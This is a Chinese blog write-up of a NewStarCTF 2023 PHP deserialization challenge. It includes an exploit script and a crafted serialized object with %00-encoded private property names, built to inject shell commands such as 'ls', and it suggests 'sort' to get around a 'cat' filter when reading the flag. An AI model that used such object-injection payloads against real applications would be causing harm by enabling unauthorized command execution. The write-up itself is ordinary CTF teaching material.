[NewStarCTF 2023 公开赛道]Unserialize

本文讨论了PHP中如何处理私有属性$cmd在反序列化过程中的问题,涉及到了不可见字符%00的处理、URL编码技巧以及利用sort命令查看flag文件的细节。
摘要由CSDN通过智能技术生成

一道反序列的基础题,但是细节蛮多的。

这里有一个细节。$cmd 是 private 属性的,赋值只能在内部赋值。即 private $cmd = <命令>

不能

然后if判断语句是过滤我们输入的命令,这里比较好绕过。常见的cat命令代替

编写exp

<?php
highlight_file(__FILE__);
// Maybe you need learn some knowledge about deserialize?
class evil {
    private $cmd="ls";
}


$res=new evil;
echo serialize($res);
?>

浏览器输出的结果:O:4:"evil":1:{s:9:"evilcmd";s:2:"ls";}

这里直接将输出结果传进去是不行的。原因

PHP 序列化的时候 private和 protected 变量会引入不可见字符%00,private是%00类名%00属性名 ,protected为%00*%00属性名 ,注意这两个 %00就是 ascii 码0的字符。这个字符显示和输出可能看不到,甚至导致截断(无法复制),但是url编码后就可以看得清楚.。

就是说上面的O:4:"evil":1:{s:9:"evilcmd";s:2:"ls";}

要改为O:4:"evil":1:{s:9:"%00evil%00cmd";s:2:"ls";}

接下来查看根目录,这里也有一个细节%20算作一个字符串,所以s:后面填4。

最后就是查看flag文件了,可以用上面提到的命令替换cat命令。这里就用sort命令来看。

  • 9
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
unserialize函数是PHP中的一个函数,它用于将一个字符串表示的序列化对象转换回原始的PHP对象。当使用serialize函数将一个对象序列化为字符串后,可以使用unserialize函数将其还原为原始的对象。 在使用unserialize函数时,如果被反序列化的字符串中包含有特殊的魔术方法(magic methods)如__construct、__destruct、__wakeup等,这些方法会在对象被创建、销毁或者反序列化时自动调用。 反序列化的过程是非常有用的,可以在用户之间传递对象,或者将对象持久化存储到文件或数据库中。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [浅谈php函数serialize()与unserialize()的使用方法](https://download.csdn.net/download/weixin_38726255/13043889)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [反序列化(Unserialize)漏洞详解](https://blog.csdn.net/qq_49422880/article/details/120488517)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [渗透测试基础 -unserialize反序列化漏洞](https://blog.csdn.net/weixin_45488495/article/details/116403291)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值